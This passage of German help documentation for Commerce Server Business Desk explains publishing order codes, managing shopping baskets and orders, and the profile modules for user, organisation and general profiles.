Mithilfe des Moduls "Bestellcodes veröffentlichen" kann eine Site sofort mit neu hinzugefügten Informationen wie geänderten Bestellungen, neuen Steuersätzen und Versandarten aktualisiert werden.

Sie können die Sites und die in ihnen enthaltenen Bestellcodecaches anzeigen. Wenn Sie einen Bestellcodecache nicht veröffentlichen möchten, können Sie ihn aus der Liste löschen.

So veröffentlichen Sie Steuer-, Versand- und Bestellinformationen

So löschen Sie einen Bestellcodecache

So veröffentlichen Sie Bestell-, Steuer- und Versandinformationen

  1. Klicken Sie im Menü Bestellungen auf Bestellcodes veröffentlichen.

    Im Bildschirm Bestellcodes veröffentlichen werden nur die aktiven Caches angezeigt. Wenn keine Caches angezeigt werden, sind keine zu veröffentlichenden Daten vorhanden.

  2. Wählen Sie in der Liste der aktiven Caches den oder die Caches, die Sie in der Site aktualisieren möchten, und klicken Sie dann auf der Symbolleiste auf Katalog veröffentlichen.

Alle Bestell-, Steuer- und Versandinformationen werden sofort in der Site aktualisiert.

So löschen Sie einen Bestellcodecache

  1. Klicken Sie im Menü Bestellungen auf Bestellcodes veröffentlichen.
  2. Wählen Sie die gewünschte Site und den dazugehörigen Bestellcodecache, und klicken Sie dann auf der Symbolleiste auf Löschen.
  3. Klicken Sie im Dialogfeld Löschen? auf OK, um den Bestellcodecache für die ausgewählte Site zu löschen.

Daraufhin wird der Bestellcodecache für die ausgewählte Site aus der Liste Produktionsartikel gelöscht.

Siehe auch

Workflow für die Bestellverwaltung

Informationen zu Bestellungen

Hinzufügen von Bestellstatuscodes

Anpassen der Versandarten

Hinzufügen von Steuersätzen


Suchen und Sortieren von Warenkörben

Wenn Benutzer Einkäufe in Ihrer Site tätigen, befördern sie die Artikel, die sie kaufen möchten, in einen virtuellen "Warenkorb". Wenn Benutzer auschecken (d. h., virtuell an die Kasse gehen), sind alle vom Benutzer für den Kauf ausgewählten Artikel im Warenkorb aufgeführt. Sie können bestehende Warenkörbe nach Datum oder nach Organisation suchen oder alle aktuell in der Website vorhandenen Warenkörbe auflisten. Wenn Sie Warenkörbe nach dem Datum des letzten Zugriffs sortieren, können Sie ermitteln, welche Warenkörbe aufgegeben wurden und diese dann löschen.

So suchen Sie Warenkörbe

So sortieren Sie Warenkörbe

So suchen Sie Warenkörbe

  1. Klicken Sie im Menü Bestellungen auf Warenkorb-Manager.
  2. Klicken Sie im Bildschirm Warenkorb-Manager im Feld Suchen nach auf den Dropdownpfeil, und wählen Sie dann in der Dropdownliste eine der folgenden Optionen:
    Funktion | Aktion
    Letzter Zugriff am Für die Suche nach Datum haben Sie folgende Möglichkeiten:
    • Wählen Sie in der Dropdownliste die Option Von aus. Geben Sie den Datumsbereich ein, oder wählen Sie Datumsangaben in den Dropdownkalendern Von und Bis aus.

    - Oder -

    • Sie haben auch die Möglichkeit, in der Dropdownliste die Option Am oder vor dem auszuwählen. Geben Sie das Datum ein, oder wählen Sie es im Dropdownkalender aus.
    Organisation | Um nach Organisation zu sortieren, geben Sie den Namen der Organisation ein, oder wählen Sie ihn in der Dropdownliste aus.
    Alle Warenkörbe | Listet alle Warenkörbe in der Commerce Server-Datenbank nach den Nachnamen der Benutzer auf.
  3. Klicken Sie auf Suchen.

Sie können jetzt im Bildschirm Warenkorb-Manager das Ergebnis in einer Liste überprüfen.

So sortieren Sie Warenkörbe

  1. Klicken Sie im Menü Bestellungen auf Warenkorb-Manager.
  2. Klicken Sie unter Gefilterte Ansicht auf den Titel der Spalte, nach der die Warenkörbe sortiert werden sollen.

Die Liste wird dynamisch je nach Spaltentitel, auf den Sie geklickt haben, sortiert.

Siehe auch

Informationen zu Bestellungen

Aufgegebene Warenkörbe

Löschen von Warenkörben


Löschen von Warenkörben

Wenn ein Benutzer einen Warenkorb in der Website aufgegeben hat, können Sie diesen mithilfe des Moduls "Warenkorb-Manager" von Commerce Server Business Desk aus der Commerce Server-Datenbank löschen. Im Allgemeinen löschen Sie Warenkörbe, weil ein Benutzer sich entweder nicht ausgecheckt oder den Warenkorb vor Verlassen der Site nicht geleert hat.

So löschen Sie einen Warenkorb

  1. Klicken Sie im Menü Bestellungen auf Warenkorb-Manager.
  2. Zum Suchen aufgegebener Warenkörbe führen Sie im Suchbereich die folgenden Schritte aus:
    Funktion | Aktion
    Suchen nach | Wählen Sie Letzter Zugriff am.
    Datum | Wählen Sie Am oder vor dem als Datumskriterium aus, und geben Sie ein Datum ein oder wählen Sie es im Dropdownkalender aus.
  3. Klicken Sie auf Suchen.
  4. Wählen Sie in der Liste Gefilterte Ansicht den oder die zu löschenden Warenkörbe aus, und klicken Sie dann auf der Symbolleiste auf Löschen.
  5. Klicken Sie im Dialogfeld Löschen zur Bestätigung auf Ja.

Die ausgewählten Warenkörbe werden daraufhin in der Website gelöscht.

Vorsicht

  • Nachdem ein Warenkorb gelöscht worden ist, kann er nicht mehr wiederhergestellt werden.

Hinweis

  • Zum Aktualisieren der Site müssen Sie das Modul "Bestellcodes veröffentlichen" verwenden. Weitere Informationen über das Veröffentlichen von Bestellcodes finden Sie unter Veröffentlichen von Bestellcodes in der Website.

Siehe auch

Informationen zu Bestellungen

Suchen, Anzeigen und Sortieren von Bestellungen

Aufgegebene Warenkörbe


Suchen, Anzeigen und Sortieren von Bestellungen

Mithilfe des Bestellstatusmoduls in Commerce Server Business Desk können die Informationen über den Bestellstatus sowie alle weiteren Einzelheiten einer Bestellung einschließlich Bestellkopf und Informationen über die Artikelpositionen angezeigt werden. Sie können nach bestimmten Bestellungen suchen, die von Besuchern Ihrer Site aufgegeben wurden.

Bei der Suche können Sie bis zu acht Suchkriterien festlegen oder alle Bestellungen auflisten. Standardmäßig werden Bestellungen in absteigender Reihenfolge nach ihrer Nummer aufgeführt, jedoch können Sie die Sortierreihenfolge ändern. Z. B. können Bestellungen nach dem Bestellstatus oder dem Nachnamen des Benutzers sortiert werden.

So suchen Sie nach einer Bestellung

So zeigen Sie eine Bestellung an

So sortieren Sie Bestellungen in einer Liste

So suchen Sie nach einer Bestellung

  1. Klicken Sie im Menü Bestellungen auf Bestellstatus.
  2. Wählen Sie im Bildschirm Bestellstatus in der Dropdownliste Suchen nach eine der folgenden Optionen aus:
    Funktion | Aktion
    Bestelldatum | Anzeigen einer Liste aller Bestellungen, die an, vor oder nach einem gegebenen Datum aufgegeben wurden. Geben Sie das Datum ein, oder wählen Sie im Dropdownkalender ein Datum aus.
    Benutzername | Anzeigen einer Liste aller Bestellungen, die von einem bestimmten Benutzer aufgegeben wurden. Geben Sie in den Feldern Vorname und Nachname die ersten Buchstaben des Vor- und/oder Nachnamens des Benutzers ein.
    Bestellnummer | Anzeigen einer Liste der Bestellungen mit einer bestimmten Bestellnummer. Sie müssen im Feld Bestellnummer die genaue Bestellnummer eingeben.
    Organisation | Anzeigen einer Liste aller Bestellungen, die von einer bestimmten Organisation aufgegeben wurden. Geben Sie im Feld Organisation den Namen der Organisation ein.
    Bestellnummer | Anzeigen einer Liste aller Bestellungen zu einer bestimmten Bestellnummer an. Sie müssen im Feld Bestellnummer die genaue Bestellnummer eingeben.
    Produkt-ID | Anzeigen einer Liste aller Bestellungen mit einer bestimmten Produkt-ID. Sie müssen im Feld Produkt-ID die genaue Produkt-ID-Nummer eingeben.
    Artikelbeschreibung | Anzeigen einer Liste aller Bestellungen, die eine bestimmte Beschreibung enthalten.
    Jede Information | Öffnen aller Suchkriterien. Sie können einige oder alle Einzelheiten einer Bestellung eingeben.
    Alle Bestellungen | Anzeigen einer Liste aller gespeicherten Bestellungen, die von der Order Processing Pipeline noch nicht bearbeitet worden sind.
  3. Klicken Sie auf Suchen.

Sie können jetzt das Ergebnis im Bildschirm Bestellstatus betrachten.

So zeigen Sie eine Bestellung an

  1. Klicken Sie im Menü Bestellungen auf Bestellstatus.
  2. Suchen Sie im Bildschirm Bestellstatus die Bestellung, die angezeigt werden soll. Informationen über das Suchen einer Bestellung finden Sie unter So suchen Sie eine Bestellung.
  3. Wählen Sie unter Gefilterte Ansicht die gewünschte Bestellung aus, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  4. Im Bereich Bestellzusammenfassung des Bildschirms Bestellung: Bestellnummer werden zu der ausgewählten Bestellung die folgenden Informationen angezeigt:
    Funktion | Aktion
    Bestellnummer | Nummer der ausgewählten Bestellung.
    Nachname | Nachname des Benutzers, der die Bestellung abgegeben hat.
    Vorname | Vorname des Benutzers, der die Bestellung abgegeben hat.
    Name in Rechnungsadresse | Der in der Rechnungsadresse angegebene Name.
    Bestelldatum | Abgabedatum der Bestellung.
    Bestellstatus | Status der Bestellung, z. B. Neue Bestellung oder Gespeicherte Bestellung.
    Zwischensumme | Zwischensumme der Bestellung ohne Steuern und Versandkosten.
    Frachtkosten | Für die Bestellung anfallende Frachtkosten.
    Versandpreisnachlass | Versandpreisnachlass, sofern ein Nachlass für die Bestellung gewährt wurde.
    Steuer | Steuerbetrag, der für die Bestellung erhoben wurde.
    Gesamtsumme | Gesamtsumme der Bestellung einschließlich Steuern und Versandkosten.
    Zahlungsweise | Die für die Bestellung verwendete Art der Bezahlung, z. B. Kreditkarte.

    Im Bereich Bestelldetails werden die folgenden Informationen angezeigt:

    Funktion | Aktion
    Produkt-ID | Produkt-IDs für alle in der Bestellung enthaltenen Produkte.
    Varianten-ID | Produktvarianten-IDs für alle in der Bestellung enthaltenen Produkte.
    Name | Produktnamen für alle in der Bestellung enthaltenen Produkte.
    Beschreibung | Produktbeschreibungen für alle in der Bestellung enthaltenen Produkte.
    Katalog | Kataloge, in denen die in der Bestellung enthaltenen Produkte gekauft wurden.
    Lieferadresse | Namen der Lieferadressen, die mit den einzelnen Produkten in der Bestellung verknüpft sind.
    Versandart | Namen der Versandarten, die mit den einzelnen Produkten in der Bestellung verknüpft sind.
    Menge | Die Bestellmengen für die einzelnen Produkte.
    Einzelpreis | Einzelpreis für die einzelnen Produkte in der Bestellung.
    Gesamtzahl der Artikel | Gesamtpreis für die einzelnen Produkte in der Bestellung.
    Meldungen | Meldungen zu den einzelnen Produkten in der Bestellung.

    Im Bereich Adressen sind die folgenden Bestellinformationen über den Empfänger aufgeführt:

    Funktion | Aktion
    Adressenname | In der Adresse angegebener Name.
    Nachname | Nachname des Empfängers.
    Vorname | Vorname des Empfängers.
    Adresszeile 1 | Erste Zeile der Adresse.
    Adresszeile 2 | Zweite Zeile der Adresse.
    Ort | Ortsname.
    Region | Regionalcode.
    PLZ | Postleitzahl.
    Länder-/Regionalcode | ISO-Code für Land/Region bzw. für Bundesland/Kanton.

So sortieren Sie Bestellungen in einer Liste

  1. Klicken Sie im Menü Bestellungen auf Bestellstatus.
  2. Klicken Sie in der Liste der Bestellungen auf den Titel der Spalte, nach der die Bestellungen sortiert werden sollen.

Die Liste wird dynamisch je nach Spaltentitel, auf den Sie geklickt haben, sortiert.

Siehe auch

Informationen zu Bestellungen

Löschen von Bestellungen


Löschen von Bestellungen

In Commerce Server Business Desk können Sie vorhandene Bestellungen mit dem Modul "Bestellstatus" löschen. Das ist praktisch, wenn z. B. ein Benutzer eine Bestellung abbricht, ein Benutzer versehentlich eine doppelte Bestellung aufgegeben hat oder ein vom Benutzer gewünschter Artikel nicht mehr zur Verfügung steht.

So löschen Sie eine Bestellung

  1. Klicken Sie im Menü Bestellungen auf Bestellstatus.
  2. Wählen Sie in der Ergebnisliste die Bestellung, die Sie löschen möchten, und klicken Sie dann auf der Symbolleiste auf Löschen.
  3. Klicken Sie im Dialogfeld Löschen zur Bestätigung des Löschvorgangs auf OK.

Die Bestellung wird nun in der Site gelöscht.

Vorsicht

  • Nachdem eine Bestellung gelöscht worden ist, kann sie nicht mehr wiederhergestellt werden.

Hinweis

  • Zum Aktualisieren der Site müssen Sie das Modul "Bestellcodes veröffentlichen" verwenden. Weitere Informationen über das Veröffentlichen von Bestellcodes finden Sie unter Veröffentlichen von Bestellcodes in der Website.

Siehe auch

Workflow für die Bestellverwaltung

Informationen zu Bestellungen

Suchen, Anzeigen und Sortieren von Bestellungen


Business Desk-Kataloge

Mit den Profilmodulen verwalten Sie die Datensammlung in Ihrer Website. Sie können beispielsweise definieren, welche Daten von den Benutzern erhoben und welche Daten in das Data Warehouse exportiert werden. Die Profilmodule dienen darüber hinaus zum Verwalten von Profilen, z. B. zum Ändern von Benutzerkennwörtern oder administrativen Kontakten von Organisationen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Workflow für die Profilverwaltung. Beschreibt den Workflow für das Verwalten von Benutzer- und Organisationsprofilen, das Entwerfen von Profildefinitionen und das Bearbeiten von Sitebegriffen.
  • Informationen über Profile. Beschreibt Benutzerprofile, Organisationsprofile, Profildefinitionen und Sitebegriffe und erklärt ihre Verwendung in Commerce Server.
  • Tipps zur Arbeit mit Business Desk-Profilen. Enthält wichtige Informationen zum Erstellen und Verwalten von Profilen.
  • Erstellen einer Sitebegriffsgruppe. Erläutert das Hinzufügen neuer Sitebegriffsgruppen und das Organisieren von Sitebegriffen.
  • Erstellen eines Sitebegriffs. Erläutert das Hinzufügen neuer Sitebegriffe.
  • Hinzufügen von Begriffen zu Sitebegriffen. Erläutert das Hinzufügen von Begriffen (Werten) zu Sitebegriffen.
  • Erstellen einer Profildefinition. Erläutert, wie der Systemadministrator allgemeine Profildefinitionen entsprechend den Anforderungen Ihres Unternehmens erstellen kann.
  • Hinzufügen einer Eigenschaftsgruppe zu einer Profildefinition. Erläutert das Organisieren von Eigenschaften durch Hinzufügen einer Eigenschaftsgruppe zu einer Profildefinition.
  • Hinzufügen von Eigenschaften zu einer Profildefinition. Beschreibt das Hinzufügen neuer Eigenschaften zu Profildefinitionen.
  • Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden. Erläutert, wie ein Sitebegriff zu einer Profildefinition hinzugefügt und mithilfe dieses Sitebegriffs der Wert für die mit dem Begriff verknüpfte Eigenschaft ausgewählt werden kann.
  • Hinzufügen von verschlüsselten Eigenschaften zu einer Profildefinition. Erläutert, wie neue, möglicherweise verschlüsselte Profileigenschaften hinzugefügt werden.
  • Einbetten einer Profildefinition. Erläutert das Verknüpfen des Inhalts von Profilen durch Einbetten einer Profildefinition in eine andere Profildefinition.
  • Veröffentlichen von Profildefinitionsänderungen in Ihrer Website. Erklärt das Synchronisieren von Profildefinitionsänderungen mit Ihrer Website.
  • Hinzufügen eines Benutzerprofils. Erläutert das Hinzufügen neuer Benutzerprofile zu Ihrer Website.
  • Hinzufügen eines delegierten Administrators. Erläutert das Hinzufügen eines Profils für einen Benutzer, der als delegierter Administrator für eine Organisation eingerichtet ist.
  • Zurücksetzen eines Benutzerkennworts. Erläutert das Zurücksetzen des Kennworts für einen registrierten Benutzer.
  • Hinzufügen eines Organisationsprofils. Erläutert das Hinzufügen neuer Organisationsprofile zu Ihrer Website.
  • Hinzufügen eines allgemeinen Profils. Erläutert das Hinzufügen neuer allgemeiner Profile zu Ihrer Website.
  • Hinzufügen von Benutzern zu einer Active Directory-Gruppe. Erläutert, wie einer Active Directory-Gruppe neue Benutzer hinzugefügt werden.
  • Hinzufügen von Gruppen zu einer Active Directory-Gruppe. Erläutert das Hinzufügen von Microsoft Active Directory-Gruppen zu einer Active Directory-Gruppe.
  • Verwalten von Sitebegriffen und Gruppen. Erklärt das Bearbeiten, Organisieren und Löschen von Sitebegriffen und Sitebegriffsgruppen. Darüber hinaus wird erläutert, wie Begriffe (Werte) aus Sitebegriffen gelöscht werden.
  • Verwalten von Profildefinitionen. Erläutert das Suchen, Kopieren und Bearbeiten von Profildefinitionen sowie das Löschen von Profileigenschaften.
  • Verwalten von Benutzerprofilen. Erläutert das Suchen, Bearbeiten, Kopieren und Löschen von Benutzerprofilen.
  • Verwalten von Organisationsprofilen. Erläutert das Suchen, Bearbeiten, Kopieren und Löschen von Organisationsprofilen.
  • Verwalten von allgemeinen Profilen. Erläutert das Suchen, Bearbeiten, Kopieren und Löschen von allgemeinen Profilen.
  • Entfernen von Benutzern aus Active Directory-Gruppen. Erläutert das Löschen von Benutzern und Microsoft Active Directory-Gruppen aus Active Directory-Gruppen.


Workflow für die Profilverwaltung

Die folgende Darstellung zeigt ein Beispielszenario für das Erstellen von Sitebegriffen, Aktualisieren von Profildefinitionen und Verwalten von Profilen.

Erstellen eines ZielausdrucksHinzufügen einer EigenschaftsdefinitionHinzufügen eines allgemeinen ProfilsHinzufügen eines BenutzerprofilsHinzufügen eines OrganisationsprofilsVeröffentlichen von Profildefinitionsänderungen in Ihrer WebsiteHinzufügen von Eigenschaften zu einer ProfildefinitionErstellen eines Sitebegriffs
  1. Im Modul "Sitebegriffs-Editor" können Sie Sitebegriffe hinzufügen, mit deren Hilfe in einer Profildefinition die Benutzereinträge für die jeweilige Eigenschaft (z. B. die Lieblingsfarbe) eingeschränkt werden können. Mit Sitebegriffen können Sie Ausdrücke erstellen, um zielgerichtet Anzeigen auf Sitebenutzer auszurichten.
  2. Im Modul "Profildefinitions-Designer" fügen Sie der Profildefinition den neuen Sitebegriff hinzu, mit deren Hilfe Sie Informationen, beispielsweise Benutzerdaten, erfassen können.
  3. Im Modul "Profildefinitions-Designer" fügen Sie einer Profildefinition die entsprechende Eigenschaft hinzu.
  4. Im Modul "Profile veröffentlichen" werden die Änderungen an Profildefinitionen in der Website veröffentlicht.
  5. Im Modul "Benutzer" können Sie die Profile Ihrer Website verwalten. Sie können beispielsweise ein neues Benutzerprofil hinzufügen oder ein vorhandenes ändern.
  6. In Kampagnen können Sie mit dem Modul "Kampagnenausdrücke" Ausdrücke für Zielgruppen erstellen, deren Profile Ihren Zielkriterien (z. B.: Die Lieblingsfarbe ist Lila.) entsprechen.


Informationen über Profile

Mit den Profilmodulen verwalten Sie Profildefinitionen, Profile, Sitebegriffe sowie Mitgliedschaften bei Active Directory-Gruppen für Sites, die auf der SupplierAD-Lösungssite basieren. Darüber hinaus können Sie Eigenschaften zu Profildefinitionen hinzufügen, in denen Daten gesammelt werden, mit deren Hilfe Sie festlegen, welchen Benutzern mittels Zielgruppenadressierung Anzeigen gesendet oder Preisnachlässe gewährt werden sollen. Sie können Sitebegriffe erstellen, mit denen Sie die angezeigte Auswahl standardisieren und einschränken können, wenn eine Benutzereingabe in der Site erforderlich ist.

Mithilfe der Profilmodule können Sie die Daten verwalten, die in Bezug auf geschäftsbezogene Elemente, beispielsweise einen Benutzer, ein Unternehmen oder einen Geschäftsprozess, erfasst wurden. Die Business Desk-Anwendung "Profile" enthält die folgenden Module:

  • Profildefinitions-Designer. Mit dem Modul "Profildefinitions-Designer" aktualisieren Sie die Informationstypen, die Sie in Ihrer Website erfassen (z. B. das Hinzufügen einer neuen Frage zur Benutzerregistrierungsseite).
  • Benutzer. Mithilfe des Moduls "Benutzer" können Sie Benutzerprofilinformationen erstellen, suchen und aktualisieren. So können Sie damit einem Benutzer beispielsweise ein neues Kennwort zuweisen.
  • Organisationen. Verwenden Sie das Modul "Organisationen", um bestehende Organisationsprofile zu erstellen, zu bearbeiten und zu löschen. Organisationsprofile enthalten Informationen zu Organisationen, beispielsweise Kontaktinformationen für eine Abteilung innerhalb eines Unternehmens.
  • Profil-Editor. Im Modul "Profil-Editor" können Sie allgemeine Profile aktualisieren. In allgemeinen Profilen werden allgemeine Profildefinitionen gespeichert, bei denen es sich um andere als die Profildefinitionen Benutzer oder Organisation handelt, beispielsweise die Profildefinition Adresse.
  • Sitebegriffs-Editor. Mit dem Modul "Sitebegriffs-Editor" können Sie Sitebegriffe erstellen, welche die möglichen Benutzereingaben auf bestimmte standardisierte Fragen eingrenzen.
  • Profile veröffentlichen. Mit dem Modul "Profile veröffentlichen" können Sie Änderungen veröffentlichen, die mit dem Modul "Profildefinitions-Designer" an der Website vorgenommen wurden.
  • Gruppen-Manager. (Nur in der SupplierAD-Site verfügbar.) Mithilfe des Moduls "Gruppen-Manager" steuern Sie die Zugriffsberechtigungen für Benutzergruppen in Ihrer Website, indem Sie Mitgliedschaften von Benutzern in Active Directory-Gruppen verwalten.

Hinweis

  • Business Desk-Berechtigungen werden im Modul "Berechtigungen" in der Kategorie Sicherheit festgelegt. Berechtigungen können über das Modul, die Profildefinition und die Profileigenschaft zugewiesen werden. Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verwenden von Profilen bei der Websiteverwaltung
  • Zusammenstellen und Speichern von Profilen
  • Benutzerprofile, Organisationsprofile und allgemeine Profile
  • Profilstruktur
  • Überlegungen zum Design des Profilsystems
  • Überlegungen zur Laufzeit des Profilsystems
  • Sitebegriffe
  • Active Directory-Gruppen


Verwenden von Profilen bei der Websiteverwaltung

Profile sind ein wesentlicher Bestandteil der Websiteverwaltung, da sie Informationen zu den Besuchern Ihrer Site und ihren Verhaltensweisen liefern. Mithilfe von Profilen analysieren Sie Benutzerdaten und stimmen Inhalte zielgerichtet auf Benutzer ab.

Ein Profil ist eine Gruppe von Eigenschaften, die ein geschäftsbezogenes Element definiert, z. B. einen Benutzer, eine Firma oder einen Kontext (Datum und Uhrzeit). Die folgende Abbildung zeigt verschiedene Profiltypen.

Abbildung verschiedener Profiltypen.

In Commerce Server verwenden Sie Profile zum Speichern von Informationen über geschäftsbezogene Elemente. So können Sie beispielsweise Profile einsetzen, um Daten über Benutzer Ihrer Website zusammenzustellen. Mithilfe von Commerce Server Business Desk können Sie Daten auch direkt in die Benutzer- und Organisationsprofile eingeben.

Business Desk ermöglicht die folgenden Aktionen:

  • Festlegen, welche Informationen über Sitebesucher gesammelt werden sollen.
  • Erstellen von Zielausdrücken, mit denen Benutzern Inhalte zugewiesen werden.
  • Erstellen von Werbe-, Preisnachlass- und Direktsendungskampagnen, um bestimmte Benutzergruppen anzusprechen.
  • Übermitteln personalisierter Direktsendungsnachrichten an Benutzer.


Zusammenstellen und Speichern von Profilen

Profildaten werden bei einer Commerce Server-Site auf zwei Arten zusammengestellt. Besucher Ihrer Site stellen Ihnen Profildaten über sich selbst zur Verfügung; dies wird als explizite Profilerstellung bezeichnet. Wenn Benutzer z. B. Produkte von Ihrer Site kaufen, geben Sie normalerweise ihren Namen, ihre Anschrift, Telefonnummer und E-Mail-Adresse an. Mit diesen Informationen wird dann das Benutzerprofil aufgefüllt.

Sie können die Daten aber auch über die implizite Profilerstellung zusammentragen. Bei der impliziten Profilerstellung werden die Aktionen aller Benutzer (anonymer und registrierter) in Webprotokolldateien aufgezeichnet, wann immer Benutzer mit Ihrer Website interagieren. Beispiel: Webprotokolldateien zeichnen auf, auf welche Links anonyme Benutzer klicken, nach welchen Produkten sie suchen, die Länge ihrer Sitzungen und wie lange sie auf einer bestimmten Webseite verweilen. Auch wenn die Benutzer anonym bleiben, also weder ihre Namen noch die E-Mail-Adressen oder andere Daten bekannt sind, liefert ihr Verhalten in Ihrer Site wichtige Informationen. Informationen über die Verwendung von Cookies in Commerce Server finden Sie unter Authentifizierungskonzepte.

Alle während einer bestimmten Benutzersitzung erfassten Informationen werden in einem einzelnen Profil gespeichert, d. h. in einer Instanz einer Profildefinition.

Informationen zum Speichern von Profilen in Data Warehouse finden Sie in den folgenden Themen der Commerce Server 2002-Hilfe:


Benutzerprofile, Organisationsprofile und allgemeine Profile

Der Typ des Profils wird anhand der Profildefinition definiert, die zum Erstellen eines Profils verwendet wird. Die Profiltypen sind in der folgenden Tabelle definiert:

Profildefinition | Profiltyp
Benutzerobjekt Informationen zum UserObject-Profilschema finden Sie unter UserObject Profile Schema (englisches Thema). | Benutzer
Organisation Informationen zum Organisationsprofilschema finden Sie unter Organization Profile Schema (englisches Thema). | Organisation
Alle anderen Profildefinitionen. Zum Beispiel die Profildefinition Adresse. Informationen zum Adressprofilschema finden Sie unter Address Profile Schema (englisches Thema). | Allgemein

Die folgende Tabelle enthält Benutzerprofile, Organisationsprofile und allgemeine Profile, die Profildefinitionen, die zu deren Erstellung verwendet werden, sowie die Business Desk-Profilmodule, die Sie zu deren Bearbeitung verwenden.

Profiltyp | Profildefinition | Modul "Business Desk"
Benutzerprofile | Benutzerobjekt | Benutzer (Modul)
Organisationsprofile | Organisation | Organisationen (Modul)
Allgemeine Profile | Alle anderen Profildefinitionen. Zum Beispiel die Profildefinition Adresse. | Profil-Editor (Modul)

Hinweis

  • Die Eigenschaften der in Business Desk auf der Seite Profilsuche als Anzeigespalten verwendeten Profile für die standardmäßigen Schemas von Business Desk (Adresse, Benutzerobjekt, Organisation und Pauschalbestellungen) sind in der folgenden Datei enthalten:
  • \inetpub\wwwroot\Business Desk-Sitename\profiles\columns.xml.
  • Dieser Abschnitt beinhaltet folgende Themen:
    • Benutzerprofile
    • Organisationsprofile
    • Allgemeine Profile


Benutzerprofile

Benutzerprofile enthalten Informationen über Benutzer. Mithilfe des Moduls "Benutzer" können Sie Informationen über anonyme Benutzer und registrierte Benutzer, die Ihre Site besuchen, hinzufügen, löschen und bearbeiten. Beispielsweise ist es möglich, das Kennwort eines registrierten Benutzers zu ändern, sollte er dieses vergessen haben. Die Profildefinition Benutzerobjekt dient zum Sammeln von Informationen über Benutzer. Mit dem Profildefinitions-Designer können Sie die Profildefinition Benutzerobjekt an die Anforderungen Ihrer Site anpassen.

Commerce Server unterstützt zwei Arten von Benutzern:

  • Anonyme Benutzer. Benutzer, die kein Konto in Ihrer Site anmelden. Diese Benutzer dürfen nur auf nicht gesicherte Inhalte zugreifen. Wenn Sie die Besuche anonymer Benutzer auf Ihrer Site überwachen möchten, können Sie diesen ein MSCSProfile-Ticket ausstellen.
  • Registrierte Benutzer. Benutzer, die ein Konto in Ihrer Site anmelden und normalerweise über einen Anmeldenamen und ein Kennwort verfügen. Registrierte Benutzer können zusätzliche Informationen eingeben, um in den Genuss bestimmter Vorteile zu kommen, die nur Mitgliedern zustehen. Bei erfolgreicher Authentifizierung wird registrierten Benutzern beispielsweise ein MSCSAuth-Ticket ausgestellt, das sie dazu berechtigt, auf gesicherte Inhalte zuzugreifen.


Organisationsprofile

Organisationsprofile enthalten Informationen über Organisationen. Eine Organisation kann sein:

  • Eine Gruppe
  • Eine Abteilung
  • Eine andere Geschäftseinheit innerhalb eines Unternehmens
  • Ein externes Unternehmen, das als Handelspartner auftritt

Eine Organisation ist eine Einheit, die in Business Desk als Quelle oder Ziel für den Austausch von Geschäftsinformationen bezeichnet wird.

Sie können beispielsweise ein Organisationsprofil für jede Abteilung einrichten, für die die in Ihrem Unternehmen für Fortbildung zuständige Abteilung Schulungen anbietet. Das Erstellen von Organisationsprofilen für die einzelnen Abteilungen bietet folgende Vorteile:

  • Die für Fortbildung zuständige Abteilung kann mithilfe von Commerce Server Beziehungen zu internen Kunden, also den anderen Abteilungen, verwalten.
  • Die für Fortbildung zuständige Abteilung kann einen Commerce Server-Katalog verwenden, der Klassen als Produkte aufführt.
  • Jede Abteilung kann Schulungen aus dem Schulungskatalog "erwerben".
  • Die für Fortbildung zuständige Abteilung kann mithilfe der Organisationsprofile die Kontaktinformationen für alle Abteilungen verwalten, die Schulungen erhalten, und kann darüber hinaus Berichte ausführen, die Auskunft über die an die jeweiligen Abteilungen verkauften Schulungseinheiten bieten.

Verwenden Sie das Organisationsmodul, um Informationen über Organisationsprofile hinzuzufügen, zu löschen und zu ändern. Die Profildefinition Organisation dient zum Sammeln von Informationen über Organisationen. Mithilfe des Moduls "Profildefinitions-Designer" können Sie die Profildefinition Organisation den Bedürfnissen Ihrer Site anpassen.

Wenn bei der Entwicklung Ihrer Site die leere Lösungssite verwendet wurde, enthält Ihre Site eine Profildefinition Organisation. Mithilfe der Profildefinition Organisation geben Sie beispielsweise die folgenden Informationen an:

  • Name des wichtigsten Ansprechpartners
  • Adresse
  • Telefonnummer
  • Name des Einkaufs-Managers
  • Katalogsatz für die Organisation

Die Profildefinition Organisation enthält Eigenschaften, die auf bestimmte Personen verweisen, z. B. administrative Kontakte oder Einkaufs-Manager. Die Informationen für die Personen, auf die innerhalb eines Organisationsprofils verwiesen wird, sind in Benutzerprofilen für die betreffenden Personen enthalten. Mit dem Benutzermodul können Sie die eingebetteten Benutzerprofilinformationen aus dem Organisationsprofil bearbeiten. Sie können die Benutzerprofilinformationen auch direkt im Modul "Profil-Editor" bearbeiten.

Siehe auch

Hinzufügen eines Benutzerprofils

Hinzufügen eines Organisationsprofils


Allgemeine Profile

Allgemeine Profile beinhalten allgemeine Informationen (z. B. Adressinformationen). Sie werden unter Verwendung einer allgemeinen Profildefinition erstellt. Dazu zählen alle Profildefinitionen außer der Profildefinition Benutzerobjekt und der Profildefinition Organisation. Wenn bei der Entwicklung Ihrer Site die leere Lösungssite verwendet wurde, enthält Ihre Site verschiedene allgemeine Profildefinitionen, u. a. die Profildefinition Adresse.

Der Systemadministrator kann Profildefinitionen erstellen, die das Sammeln der gewünschten Daten in Ihrer Site ermöglichen. Vom Systemadministrator erstellte Profildefinitionen gelten generell als allgemeine Profildefinitionen. Dies ist auch dann der Fall, wenn der Systemadministrator eine neue Profildefinition erstellt, indem er die Profildefinition Benutzerobjekt oder Organisation kopiert. Wenn Sie zum Sammeln von Daten eine allgemeine Profildefinition verwenden, werden die Daten in einem allgemeinen Profil gespeichert und können in Commerce Server Business Desk mit dem Modul "Profil-Editor" bearbeitet werden.

Im Modul "Profil-Editor" können Sie allgemeine Profile aktualisieren. Sie müssen in den allgemeinen Profildefinitionen die folgenden beiden benutzerdefinierten Attribute einrichten, wenn Sie darauf basierende Profile mithilfe des Moduls "Profil-Editor" bearbeiten möchten:

  • Das Attribut sDisplayColumn weist eine Eigenschaft als Titel für eine Spalte auf dem Bildschirm Suchen des Moduls "Profil-Editor" zu.

